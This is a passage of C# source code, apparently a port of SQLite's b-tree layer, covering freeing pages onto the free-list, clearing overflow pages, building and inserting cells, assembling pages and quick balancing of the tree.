*/\n      if (nFree != 0)\n      {\n        u32 nLeaf;                /* Initial number of leaf cells on trunk page */\n\n        iTrunk = sqlite3Get4byte(pPage1.aData, 32);\n        rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0);\n        if (rc != SQLITE_OK)\n        {\n          goto freepage_out;\n        }\n\n        nLeaf = sqlite3Get4byte(pTrunk.aData, 4);\n        Debug.Assert(pBt.usableSize > 32);\n        if (nLeaf > (u32)pBt.usableSize / 4 - 2)\n        {\n#if SQLITE_DEBUG || DEBUG\n          rc = SQLITE_CORRUPT_BKPT();\n#else\nrc = SQLITE_CORRUPT_BKPT;\n#endif\n          goto freepage_out;\n        }\n        if (nLeaf < (u32)pBt.usableSize / 4 - 8)\n        {\n          /* In this case there is room on the trunk page to insert the page\n          ** being freed as a new leaf.\n          **\n          ** Note that the trunk page is not really full until it contains\n          ** usableSize/4 - 2 entries, not usableSize/4 - 8 entries as we have\n          ** coded.  But due to a coding error in versions of SQLite prior to\n          ** 3.6.0, databases with freelist trunk pages holding more than\n          ** usableSize/4 - 8 entries will be reported as corrupt.  In order\n          ** to maintain backwards compatibility with older versions of SQLite,\n          ** we will continue to restrict the number of entries to usableSize/4 - 8\n          ** for now.  At some point in the future (once everyone has upgraded\n          ** to 3.6.0 or later) we should consider fixing the conditional above\n          ** to read \"usableSize/4-2\" instead of \"usableSize/4-8\".\n          */\n          rc = sqlite3PagerWrite(pTrunk.pDbPage);\n          if (rc == SQLITE_OK)\n          {\n            sqlite3Put4byte(pTrunk.aData, (u32)4, nLeaf + 1);\n            sqlite3Put4byte(pTrunk.aData, (u32)8 + nLeaf * 4, iPage);\n#if !SQLITE_SECURE_DELETE\n            if (pPage != null)\n            {\n              sqlite3PagerDontWrite(pPage.pDbPage);\n            }\n#endif\n            rc = btreeSetHasContent(pBt, iPage);\n          }\n          TRACE(\"FREE-PAGE: %d leaf on trunk page %d\\n\", iPage, pTrunk.pgno);\n          goto freepage_out;\n        }\n      }\n\n      /* If control flows to this point, then it was not possible to add the\n      ** the page being freed as a leaf page of the first trunk in the free-list.\n      ** Possibly because the free-list is empty, or possibly because the\n      ** first trunk in the free-list is full. Either way, the page being freed\n      ** will become the new first trunk page in the free-list.\n      */\n      if (pPage == null && SQLITE_OK != (rc = btreeGetPage(pBt, iPage, ref pPage, 0)))\n      {\n        goto freepage_out;\n      }\n      rc = sqlite3PagerWrite(pPage.pDbPage);\n      if (rc != SQLITE_OK)\n      {\n        goto freepage_out;\n      }\n      sqlite3Put4byte(pPage.aData, iTrunk);\n      sqlite3Put4byte(pPage.aData, 4, 0);\n      sqlite3Put4byte(pPage1.aData, (u32)32, iPage);\n      TRACE(\"FREE-PAGE: %d new trunk page replacing %d\\n\", pPage.pgno, iTrunk);\n\n    freepage_out:\n      if (pPage != null)\n      {\n        pPage.isInit = 0;\n      }\n      releasePage(pPage);\n      releasePage(pTrunk);\n      return rc;\n    }\n    static void freePage(MemPage pPage, ref int pRC)\n    {\n      if ((pRC) == SQLITE_OK)\n      {\n        pRC = freePage2(pPage.pBt, pPage, pPage.pgno);\n      }\n    }\n\n    /*\n    ** Free any overflow pages associated with the given Cell.\n    */\n    static int clearCell(MemPage pPage, int pCell)\n    {\n      BtShared pBt = pPage.pBt;\n      CellInfo info = new CellInfo();\n      Pgno ovflPgno;\n      int rc;\n      int nOvfl;\n      u16 ovflPageSize;\n\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      btreeParseCellPtr( pPage, pCell, ref info );\n      if (info.iOverflow == 0)\n      {\n        return SQLITE_OK;  /* No overflow pages. Return without doing anything */\n      }\n      ovflPgno = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow);\n      Debug.Assert(pBt.usableSize > 4);\n      ovflPageSize = (u16)(pBt.usableSize - 4);\n      nOvfl = (int)((info.nPayload - info.nLocal + ovflPageSize - 1) / ovflPageSize);\n      Debug.Assert(ovflPgno == 0 || nOvfl > 0);\n      while (nOvfl-- != 0)\n      {\n        Pgno iNext = 0;\n        MemPage pOvfl = null;\n        if (ovflPgno < 2 || ovflPgno > pagerPagecount(pBt))\n        {\n          /* 0 is not a legal page number and page 1 cannot be an\n          ** overflow page. Therefore if ovflPgno<2 or past the end of the\n          ** file the database must be corrupt. */\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        if (nOvfl != 0)\n        {\n          rc = getOverflowPage(pBt, ovflPgno, ref pOvfl, ref iNext);\n          if (rc != 0) return rc;\n        }\n        rc = freePage2(pBt, pOvfl, ovflPgno);\n        if (pOvfl != null)\n        {\n          sqlite3PagerUnref(pOvfl.pDbPage);\n        }\n        if (rc != 0) return rc;\n        ovflPgno = iNext;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Create the byte sequence used to represent a cell on page pPage\n    ** and write that byte sequence into pCell[].  Overflow pages are\n    ** allocated and filled in as necessary.  The calling procedure\n    ** is responsible for making sure sufficient space has been allocated\n    ** for pCell[].\n    **\n    ** Note that pCell does not necessary need to point to the pPage.aData\n    ** area.  pCell might point to some temporary storage.  The cell will\n    ** be constructed in this temporary area then copied into pPage.aData\n    ** later.\n    */\n    static int fillInCell(\n    MemPage pPage,            /* The page that contains the cell */\n    byte[] pCell,             /* Complete text of the cell */\n    byte[] pKey, i64 nKey,    /* The key */\n    byte[] pData, int nData,  /* The data */\n    int nZero,                /* Extra zero bytes to append to pData */\n    ref int pnSize            /* Write cell size here */\n    )\n    {\n      int nPayload;\n      u8[] pSrc; int pSrcIndex = 0;\n      int nSrc, n, rc;\n      int spaceLeft;\n      MemPage pOvfl = null;\n      MemPage pToRelease = null;\n      byte[] pPrior; int pPriorIndex = 0;\n      byte[] pPayload; int pPayloadIndex = 0;\n      BtShared pBt = pPage.pBt;\n      Pgno pgnoOvfl = 0;\n      int nHeader;\n      CellInfo info = new CellInfo();\n\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n\n      /* pPage is not necessarily writeable since pCell might be auxiliary\n      ** buffer space that is separate from the pPage buffer area */\n      // TODO -- Determine if the following Assert is needed under c#\n      //Debug.Assert( pCell < pPage.aData || pCell >= &pPage.aData[pBt.pageSize]\n      //          || sqlite3PagerIswriteable(pPage.pDbPage) );\n\n      /* Fill in the header. */\n      nHeader = 0;\n      if (0 == pPage.leaf)\n      {\n        nHeader += 4;\n      }\n      if (pPage.hasData != 0)\n      {\n        nHeader += (int)putVarint(pCell, nHeader, (int)(nData + nZero)); //putVarint( pCell[nHeader], nData + nZero );\n      }\n      else\n      {\n        nData = nZero = 0;\n      }\n      nHeader += putVarint(pCell, nHeader, (u64)nKey); //putVarint( pCell[nHeader], *(u64*)&nKey );\n      btreeParseCellPtr( pPage, pCell, ref info );\n      Debug.Assert(info.nHeader == nHeader);\n      Debug.Assert(info.nKey == nKey);\n      Debug.Assert(info.nData == (u32)(nData + nZero));\n\n      /* Fill in the payload */\n      nPayload = nData + nZero;\n      if (pPage.intKey != 0)\n      {\n        pSrc = pData;\n        nSrc = nData;\n        nData = 0;\n      }\n      else\n      {\n        if (NEVER(nKey > 0x7fffffff || pKey == null))\n        {\n#if SQLITE_DEBUG || DEBUG\n          return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n        }\n        nPayload += (int)nKey;\n        pSrc = pKey;\n        nSrc = (int)nKey;\n      }\n      pnSize = info.nSize;\n      spaceLeft = info.nLocal;\n      //  pPayload = &pCell[nHeader];\n      pPayload = pCell;\n      pPayloadIndex = nHeader;\n      //  pPrior = &pCell[info.iOverflow];\n      pPrior = pCell;\n      pPriorIndex = info.iOverflow;\n\n      while (nPayload > 0)\n      {\n        if (spaceLeft == 0)\n        {\n#if !SQLITE_OMIT_AUTOVACUUM\n          Pgno pgnoPtrmap = pgnoOvfl; /* Overflow page pointer-map entry page */\n          if (pBt.autoVacuum)\n          {\n            do\n            {\n              pgnoOvfl++;\n            } while (\n            PTRMAP_ISPAGE(pBt, pgnoOvfl) || pgnoOvfl == PENDING_BYTE_PAGE(pBt)\n            );\n          }\n#endif\n          rc = allocateBtreePage(pBt, ref pOvfl, ref pgnoOvfl, pgnoOvfl, 0);\n#if !SQLITE_OMIT_AUTOVACUUM\n          /* If the database supports auto-vacuum, and the second or subsequent\n** overflow page is being allocated, add an entry to the pointer-map\n** for that page now.\n**\n** If this is the first overflow page, then write a partial entry\n** to the pointer-map. If we write nothing to this pointer-map slot,\n** then the optimistic overflow chain processing in clearCell()\n** may misinterpret the uninitialised values and delete the\n** wrong pages from the database.\n*/\n          if (pBt.autoVacuum && rc == SQLITE_OK)\n          {\n            u8 eType = (u8)(pgnoPtrmap != 0 ? PTRMAP_OVERFLOW2 : PTRMAP_OVERFLOW1);\n            ptrmapPut(pBt, pgnoOvfl, eType, pgnoPtrmap, ref rc);\n            if (rc != 0)\n            {\n              releasePage(pOvfl);\n            }\n          }\n#endif\n          if (rc != 0)\n          {\n            releasePage(pToRelease);\n            return rc;\n          }\n\n          /* If pToRelease is not zero than pPrior points into the data area\n          ** of pToRelease.  Make sure pToRelease is still writeable. */\n          Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage));\n\n          /* If pPrior is part of the data area of pPage, then make sure pPage\n          ** is still writeable */\n          // TODO -- Determine if the following Assert is needed under c#\n          //Debug.Assert( pPrior < pPage.aData || pPrior >= &pPage.aData[pBt.pageSize]\n          //      || sqlite3PagerIswriteable(pPage.pDbPage) );\n\n          sqlite3Put4byte(pPrior, pPriorIndex, pgnoOvfl);\n          releasePage(pToRelease);\n          pToRelease = pOvfl;\n          pPrior = pOvfl.aData; pPriorIndex = 0;\n          sqlite3Put4byte(pPrior, 0);\n          pPayload = pOvfl.aData; pPayloadIndex = 4; //&pOvfl.aData[4];\n          spaceLeft = pBt.usableSize - 4;\n        }\n        n = nPayload;\n        if (n > spaceLeft) n = spaceLeft;\n\n        /* If pToRelease is not zero than pPayload points into the data area\n        ** of pToRelease.  Make sure pToRelease is still writeable. */\n        Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage));\n\n        /* If pPayload is part of the data area of pPage, then make sure pPage\n        ** is still writeable */\n        // TODO -- Determine if the following Assert is needed under c#\n        //Debug.Assert( pPayload < pPage.aData || pPayload >= &pPage.aData[pBt.pageSize]\n        //        || sqlite3PagerIswriteable(pPage.pDbPage) );\n\n        if (nSrc > 0)\n        {\n          if (n > nSrc) n = nSrc;\n          Debug.Assert(pSrc != null);\n          Buffer.BlockCopy(pSrc, pSrcIndex, pPayload, pPayloadIndex, n);//memcpy(pPayload, pSrc, n);\n        }\n        else\n        {\n          byte[] pZeroBlob = new byte[n]; // memset(pPayload, 0, n);\n          Buffer.BlockCopy(pZeroBlob, 0, pPayload, pPayloadIndex, n);\n        }\n        nPayload -= n;\n        pPayloadIndex += n;// pPayload += n;\n        pSrcIndex += n;// pSrc += n;\n        nSrc -= n;\n        spaceLeft -= n;\n        if (nSrc == 0)\n        {\n          nSrc = nData;\n          pSrc = pData;\n        }\n      }\n      releasePage(pToRelease);\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Remove the i-th cell from pPage.  This routine effects pPage only.\n    ** The cell content is not freed or deallocated.  It is assumed that\n    ** the cell content has been copied someplace else.  This routine just\n    ** removes the reference to the cell from pPage.\n    **\n    ** \"sz\" must be the number of bytes in the cell.\n    */\n    static void dropCell(MemPage pPage, int idx, int sz, ref int pRC)\n    {\n      int i;          /* Loop counter */\n      int pc;         /* Offset to cell content of cell being deleted */\n      u8[] data;      /* pPage.aData */\n      int ptr;        /* Used to move bytes around within data[] */\n      int rc;         /* The return code */\n      int hdr;        /* Beginning of the header.  0 most pages.  100 page 1 */\n\n      if (pRC != 0) return;\n\n      Debug.Assert(idx >= 0 && idx < pPage.nCell);\n      Debug.Assert(sz == cellSize(pPage, idx));\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      data = pPage.aData;\n      ptr = pPage.cellOffset + 2 * idx; //ptr = &data[pPage.cellOffset + 2 * idx];\n      pc = get2byte(data, ptr);\n      hdr = pPage.hdrOffset;\n      testcase(pc == get2byte(data, hdr + 5));\n      testcase(pc + sz == pPage.pBt.usableSize);\n      if (pc < get2byte(data, hdr + 5) || pc + sz > pPage.pBt.usableSize)\n      {\n#if SQLITE_DEBUG || DEBUG\n        pRC = SQLITE_CORRUPT_BKPT();\n#else\npRC = SQLITE_CORRUPT_BKPT;\n#endif\n\n        return;\n      }\n      rc = freeSpace(pPage, pc, sz);\n      if (rc != 0)\n      {\n        pRC = rc;\n        return;\n      }\n      //for ( i = idx + 1 ; i < pPage.nCell ; i++, ptr += 2 )\n      //{\n      //  ptr[0] = ptr[2];\n      //  ptr[1] = ptr[3];\n      //}\n      Buffer.BlockCopy(data, ptr + 2, data, ptr, (pPage.nCell - 1 - idx) * 2);\n      pPage.nCell--;\n      data[pPage.hdrOffset + 3] = (byte)(pPage.nCell >> 8); data[pPage.hdrOffset + 4] = (byte)(pPage.nCell); //put2byte( data, hdr + 3, pPage.nCell );\n      pPage.nFree += 2;\n    }\n\n    /*\n    ** Insert a new cell on pPage at cell index \"i\".  pCell points to the\n    ** content of the cell.\n    **\n    ** If the cell content will fit on the page, then put it there.  If it\n    ** will not fit, then make a copy of the cell content into pTemp if\n    ** pTemp is not null.  Regardless of pTemp, allocate a new entry\n    ** in pPage.aOvfl[] and make it point to the cell content (either\n    ** in pTemp or the original pCell) and also record its index.\n    ** Allocating a new entry in pPage.aCell[] implies that\n    ** pPage.nOverflow is incremented.\n    **\n    ** If nSkip is non-zero, then do not copy the first nSkip bytes of the\n    ** cell. The caller will overwrite them after this function returns. If\n    ** nSkip is non-zero, then pCell may not point to an invalid memory location\n    ** (but pCell+nSkip is always valid).\n    */\n    static void insertCell(\n    MemPage pPage,      /* Page into which we are copying */\n    int i,              /* New cell becomes the i-th cell of the page */\n    u8[] pCell,         /* Content of the new cell */\n    int sz,             /* Bytes of content in pCell */\n    u8[] pTemp,         /* Temp storage space for pCell, if needed */\n    Pgno iChild,        /* If non-zero, replace first 4 bytes with this value */\n    ref int pRC         /* Read and write return code from here */\n    )\n    {\n      int idx = 0;      /* Where to write new cell content in data[] */\n      int j;            /* Loop counter */\n      int end;          /* First byte past the last cell pointer in data[] */\n      int ins;          /* Index in data[] where new cell pointer is inserted */\n      int cellOffset;   /* Address of first cell pointer in data[] */\n      u8[] data;        /* The content of the whole page */\n      u8 ptr;           /* Used for moving information around in data[] */\n\n      int nSkip = (iChild != 0 ? 4 : 0);\n\n      if (pRC != 0) return;\n\n      Debug.Assert(i >= 0 && i <= pPage.nCell + pPage.nOverflow);\n      Debug.Assert(pPage.nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460);\n      Debug.Assert(pPage.nOverflow <= ArraySize(pPage.aOvfl));\n      Debug.Assert(sz == cellSizePtr(pPage, pCell));\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      if (pPage.nOverflow != 0 || sz + 2 > pPage.nFree)\n      {\n        if (pTemp != null)\n        {\n          Buffer.BlockCopy(pCell, nSkip, pTemp, nSkip, sz - nSkip);//memcpy(pTemp+nSkip, pCell+nSkip, sz-nSkip);\n          pCell = pTemp;\n        }\n        if (iChild != 0)\n        {\n          sqlite3Put4byte(pCell, iChild);\n        }\n        j = pPage.nOverflow++;\n        Debug.Assert(j < pPage.aOvfl.Length);//(int)(sizeof(pPage.aOvfl)/sizeof(pPage.aOvfl[0])) );\n        pPage.aOvfl[j].pCell = pCell;\n        pPage.aOvfl[j].idx = (u16)i;\n      }\n      else\n      {\n        int rc = sqlite3PagerWrite(pPage.pDbPage);\n        if (rc != SQLITE_OK)\n        {\n          pRC = rc;\n          return;\n        }\n        Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n        data = pPage.aData;\n        cellOffset = pPage.cellOffset;\n        end = cellOffset + 2 * pPage.nCell;\n        ins = cellOffset + 2 * i;\n        rc = allocateSpace(pPage, sz, ref idx);\n        if (rc != 0) { pRC = rc; return; }\n        /* The allocateSpace() routine guarantees the following two properties\n        ** if it returns success */\n        Debug.Assert(idx >= end + 2);\n        Debug.Assert(idx + sz <= pPage.pBt.usableSize);\n        pPage.nCell++;\n        pPage.nFree -= (u16)(2 + sz);\n        Buffer.BlockCopy(pCell, nSkip, data, idx + nSkip, sz - nSkip); //memcpy( data[idx + nSkip], pCell + nSkip, sz - nSkip );\n        if (iChild != 0)\n        {\n          sqlite3Put4byte(data, idx, iChild);\n        }\n        //for(j=end, ptr=&data[j]; j>ins; j-=2, ptr-=2){\n        //  ptr[0] = ptr[-2];\n        //  ptr[1] = ptr[-1];\n        //}\n        for (j = end  ; j > ins; j -= 2)\n        {\n          data[j + 0] = data[j - 2];\n          data[j + 1] = data[j - 1];\n        }\n        put2byte(data, ins, idx);\n        put2byte(data, pPage.hdrOffset + 3, pPage.nCell);\n#if !SQLITE_OMIT_AUTOVACUUM\n        if (pPage.pBt.autoVacuum)\n        {\n          /* The cell may contain a pointer to an overflow page. If so, write\n          ** the entry for the overflow page into the pointer map.\n          */\n          ptrmapPutOvflPtr(pPage, pCell, ref pRC);\n        }\n#endif\n      }\n    }\n\n    /*\n    ** Add a list of cells to a page.  The page should be initially empty.\n    ** The cells are guaranteed to fit on the page.\n    */\n    static void assemblePage(\n    MemPage pPage,    /* The page to be assemblied */\n    int nCell,        /* The number of cells to add to this page */\n    u8[] apCell,      /* Pointer to a single the cell bodies */\n    int[] aSize       /* Sizes of the cells bodie*/\n    )\n    {\n      int i;            /* Loop counter */\n      int pCellptr;     /* Address of next cell pointer */\n      int cellbody;     /* Address of next cell body */\n      byte[] data = pPage.aData;          /* Pointer to data for pPage */\n      int hdr = pPage.hdrOffset;          /* Offset of header on pPage */\n      int nUsable = pPage.pBt.usableSize; /* Usable size of page */\n\n      Debug.Assert(pPage.nOverflow == 0);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n\n      /* Check that the page has just been zeroed by zeroPage() */\n      Debug.Assert(pPage.nCell == 0);\n      Debug.Assert(get2byte(data, hdr + 5) == nUsable);\n\n      pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2];\n      cellbody = nUsable;\n      for (i = nCell - 1; i >= 0; i--)\n      {\n        pCellptr -= 2;\n        cellbody -= aSize[i];\n        put2byte(data, pCellptr, cellbody);\n        Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);//          memcpy(data[cellbody], apCell[i], aSize[i]);\n      }\n      put2byte(data, hdr + 3, nCell);\n      put2byte(data, hdr + 5, cellbody);\n      pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody);\n      pPage.nCell = (u16)nCell;\n    }\n    static void assemblePage(\n    MemPage pPage,    /* The page to be assemblied */\n    int nCell,        /* The number of cells to add to this page */\n    u8[][] apCell,    /* Pointers to cell bodies */\n    u16[] aSize,      /* Sizes of the cells */\n    int offset        /* Offset into the cell bodies, for c#  */\n    )\n    {\n      int i;            /* Loop counter */\n      int pCellptr;      /* Address of next cell pointer */\n      int cellbody;     /* Address of next cell body */\n      byte[] data = pPage.aData;          /* Pointer to data for pPage */\n      int hdr = pPage.hdrOffset;          /* Offset of header on pPage */\n      int nUsable = pPage.pBt.usableSize; /* Usable size of page */\n\n      Debug.Assert(pPage.nOverflow == 0);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n\n      /* Check that the page has just been zeroed by zeroPage() */\n      Debug.Assert(pPage.nCell == 0);\n      Debug.Assert(get2byte(data, hdr + 5) == nUsable);\n\n      pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2];\n      cellbody = nUsable;\n      for (i = nCell - 1; i >= 0; i--)\n      {\n        pCellptr -= 2;\n        cellbody -= aSize[i + offset];\n        put2byte(data, pCellptr, cellbody);\n        Buffer.BlockCopy(apCell[offset + i], 0, data, cellbody, aSize[i + offset]);//          memcpy(&data[cellbody], apCell[i], aSize[i]);\n      }\n      put2byte(data, hdr + 3, nCell);\n      put2byte(data, hdr + 5, cellbody);\n      pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody);\n      pPage.nCell = (u16)nCell;\n    }\n\n    static void assemblePage(\n    MemPage pPage,    /* The page to be assemblied */\n    int nCell,        /* The number of cells to add to this page */\n    u8[] apCell,      /* Pointers to cell bodies */\n    u16[] aSize       /* Sizes of the cells */\n    )\n    {\n      int i;            /* Loop counter */\n      int pCellptr;     /* Address of next cell pointer */\n      int cellbody;     /* Address of next cell body */\n      u8[] data = pPage.aData;             /* Pointer to data for pPage */\n      int hdr = pPage.hdrOffset;           /* Offset of header on pPage */\n      int nUsable = pPage.pBt.usableSize; /* Usable size of page */\n\n      Debug.Assert(pPage.nOverflow == 0);\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460);\n      Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage));\n\n      /* Check that the page has just been zeroed by zeroPage() */\n      Debug.Assert(pPage.nCell == 0);\n      Debug.Assert(get2byte(data, hdr + 5) == nUsable);\n\n      pCellptr = pPage.cellOffset + nCell * 2; //&data[pPage.cellOffset + nCell * 2];\n      cellbody = nUsable;\n      for (i = nCell - 1; i >= 0; i--)\n      {\n        pCellptr -= 2;\n        cellbody -= aSize[i];\n        put2byte(data, pCellptr, cellbody);\n        Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);//memcpy( data[cellbody], apCell[i], aSize[i] );\n      }\n      put2byte(data, hdr + 3, nCell);\n      put2byte(data, hdr + 5, cellbody);\n      pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody);\n      pPage.nCell = (u16)nCell;\n    }\n\n    /*\n    ** The following parameters determine how many adjacent pages get involved\n    ** in a balancing operation.  NN is the number of neighbors on either side\n    ** of the page that participate in the balancing operation.  NB is the\n    ** total number of pages that participate, including the target page and\n    ** NN neighbors on either side.\n    **\n    ** The minimum value of NN is 1 (of course).  Increasing NN above 1\n    ** (to 2 or 3) gives a modest improvement in SELECT and DELETE performance\n    ** in exchange for a larger degradation in INSERT and UPDATE performance.\n    ** The value of NN appears to give the best results overall.\n    */\n    public const int NN = 1;              /* Number of neighbors on either side of pPage */\n    public const int NB = (NN * 2 + 1);   /* Total pages involved in the balance */\n\n#if !SQLITE_OMIT_QUICKBALANCE\n    /*\n** This version of balance() handles the common special case where\n** a new entry is being inserted on the extreme right-end of the\n** tree, in other words, when the new entry will become the largest\n** entry in the tree.\n**\n** Instead of trying to balance the 3 right-most leaf pages, just add\n** a new page to the right-hand side and put the one new entry in\n** that page.  This leaves the right side of the tree somewhat\n** unbalanced.  But odds are that we will be inserting new entries\n** at the end soon afterwards so the nearly empty page will quickly\n** fill up.  On average.\n**\n** pPage is the leaf page which is the right-most page in the tree.\n** pParent is its parent.  pPage must have a single overflow entry\n** which is also the right-most entry on the page.\n**\n** The pSpace buffer is used to store a temporary copy of the divider\n** cell that will be inserted into pParent. Such a cell consists of a 4\n** byte page number followed by a variable length integer. In other\n** words, at most 13 bytes. Hence the pSpace buffer must be at\n** least 13 bytes in size.\n*/\n    static int balance_quick(MemPage pParent, MemPage pPage, u8[] pSpace)\n    {\n      BtShared pBt = pPage.pBt;    /* B-Tree Database */\n      MemPage pNew = new MemPage();/* Newly allocated page */\n      int rc;                      /* Return Code */\n      Pgno pgnoNew = 0;              /* Page number of pNew */\n\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      Debug.Assert(sqlite3PagerIswriteable(pParent.pDbPage));\n      Debug.Assert(pPage.nOverflow == 1);\n\n      if (pPage.nCell <= 0)\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n\n      /* Allocate a new page. This page will become the right-sibling of\n** pPage. Make the parent page writable, so that the new divider cell\n** may be inserted. If both these operations are successful, proceed.\n*/\n      rc = allocateBtreePage(pBt, ref pNew, ref pgnoNew, 0, 0);\n\n      if (rc == SQLITE_OK)\n      {\n\n        int pOut = 4;//u8 pOut = &pSpace[4];\n        u8[] pCell = pPage.aOvfl[0].pCell;\n        int[] szCell = new int[1]; szCell[0] = cellSizePtr(pPage, pCell);\n        int pStop;\n\n        Debug.Assert(sqlite3PagerIswriteable(pNew.pDbPage));\n        Debug.Assert(pPage.aData[0] == (PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF));\n        zeroPage(pNew, PTF_INTKEY | PTF_LEAFDATA | PTF_LEAF);\n        assemblePage(pNew, 1, pCell, szCell);\n\n        /* If this is an auto-vacuum database, update the pointer map\n        ** with entries for the new page, and any pointer from the\n        ** cell on the page to an overflow page. If either of these\n        ** operations fails, the return code is set, but the contents\n        ** of the parent page are still manipulated by thh code below.\n        ** That is Ok, at this point the parent page is guaranteed to\n        ** be marked as dirty. Returning an error code will cause a\n        ** rollback, undoing any changes made to the parent page.\n        */\n#if !SQLITE_OMIT_AUTOVACUUM //   if ( ISAUTOVACUUM )\n        if (pBt.autoVacuum)\n#else\nif (false)\n#endif\n        {\n          ptrmapPut(pBt, pgnoNew, PTRMAP_BTREE, pParent.pgno, ref rc);\n          if (szCell[0] > pNew.minLocal)\n          {\n            ptrmapPutOvflPtr(pNew, pCell, ref rc);\n          }\n        }\n\n        /* Create a divider cell to insert into pParent. The divider cell\n        ** consists of a 4-byte page number (the page number of pPage) and\n        ** a variable length key value (which must be the same value as the\n        ** largest key on pPage).\n        **\n        ** To find the largest key value on pPage, first find the right-most\n        ** cell on pPage. The first two fields of this cell are the\n        ** record-length (a variable length integer at most 32-bits in size)\n        ** and the key value (a variable length integer, may have any value).\n        ** The first of the while(...) loops below skips over the record-length\n        ** field. The second while(...) loop copies the key value from the\n        ** cell on pPage into the pSpace buffer.\n        */\n        int iCell = findCell(pPage, pPage.nCell - 1); //pCell = findCell( pPage, pPage.nCell - 1 );\n        pCell = pPage.aData;\n        int _pCell = iCell;\n        pStop = _pCell + 9; //pStop = &pCell[9];\n        while (((pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( *( pCell++ ) & 0x80 ) && pCell < pStop ) ;\n        pStop = _pCell + 9;//pStop = &pCell[9];\n        while (((pSpace[pOut++] = pCell[_pCell++]) & 0x80) != 0 && _pCell < pStop) ; //while ( ( ( *( pOut++ ) = *( pCell++ ) ) & 0x80 ) && pCell < pStop ) ;\n\n        /* Insert the new divider cell into pParent. */\n        insertCell(pParent, pParent.nCell, pSpace, pOut, //(int)(pOut-pSpace),\n        null, pPage.pgno, ref rc);\n\n        /* Set the right-child pointer of pParent to point to the new page. */\n        sqlite3Put4byte(pParent.aData, pParent.hdrOffset + 8, pgnoNew);\n\n        /* Release the reference to the new page. */\n        releasePage(pNew);\n      }\n\n      return rc;\n    }\n#endif //* SQLITE_OMIT_QUICKBALANCE */\n\n#if FALSE\n/*\n** This function does not contribute anything to the operation of SQLite.\n** it is sometimes activated temporarily while debugging code responsible\n** for setting pointer-map entries.\n*/\nstatic int ptrmapCheckPages(MemPage **apPage, int nPage){\nint i, j;\nfor(i=0; i<nPage; i++){\nPgno n;\nu8 e;\nMemPage pPage = apPage[i];\nBtShared pBt = pPage.pBt;\nDebug.Assert( pPage.isInit!=0 );\n\nfor(j=0; j<pPage.nCell; j++){\nCellInfo info;\nu8 *z;\n\nz = findCell(pPage, j);\nbtreeParseCellPtr(pPage, z,  info);\nif( info.iOverflow ){\nPgno ovfl = sqlite3Get4byte(z[info.iOverflow]);\nptrmapGet(pBt, ovfl, ref e, ref n);\nDebug.Assert( n==pPage.pgno && e==PTRMAP_OVERFLOW1 );\n}\nif( 0==pPage.leaf ){\nPgno child = sqlite3Get4byte(z);\nptrmapGet(pBt, child, ref e, ref n);\nDebug.Assert( n==pPage.pgno && e==PTRMAP_BTREE );\n}\n}\nif( 0==pPage.leaf ){\nPgno child = sqlite3Get4byte(pPage.aData,pPage.hdrOffset+8]);\nptrmapGet(pBt, child, ref e, ref n);\nDebug.Assert( n==pPage.pgno && e==PTRMAP_BTREE );\n}\n}\nreturn 1;\n}\n#endif\n\n    /*\n** This function is used to copy the contents of the b-tree node stored\n** on page pFrom to page pTo. If page pFrom was not a leaf page, then\n** the pointer-map entries for each child page are updated so that the\n** parent page stored in the pointer map is page pTo. If pFrom contained\n** any cells with overflow page pointers, then the corresponding pointer\n** map entries are also updated so that the parent page is page pTo.\n**\n** If pFrom is currently carrying any overflow cells (entries in the\n** MemPage.aOvfl[] array), they are not copied to pTo.\n**\n** Before returning, page pTo is reinitialized using btreeInitPage().\n**\n** The performance of this function is not critical. It is only used by\n** the balance_shallower() and balance_deeper() procedures, neither of\n** which are called often under normal circumstances.\n*/\n    static void copyNodeContent(MemPage pFrom, MemPage pTo, ref int pRC)\n    {\n      if ((pRC) == SQLITE_OK)\n      {\n        BtShared pBt = pFrom.pBt;\n        u8[] aFrom = pFrom.aData;\n        u8[] aTo = pTo.aData;\n        int iFromHdr = pFrom.hdrOffset;\n        int iToHdr = 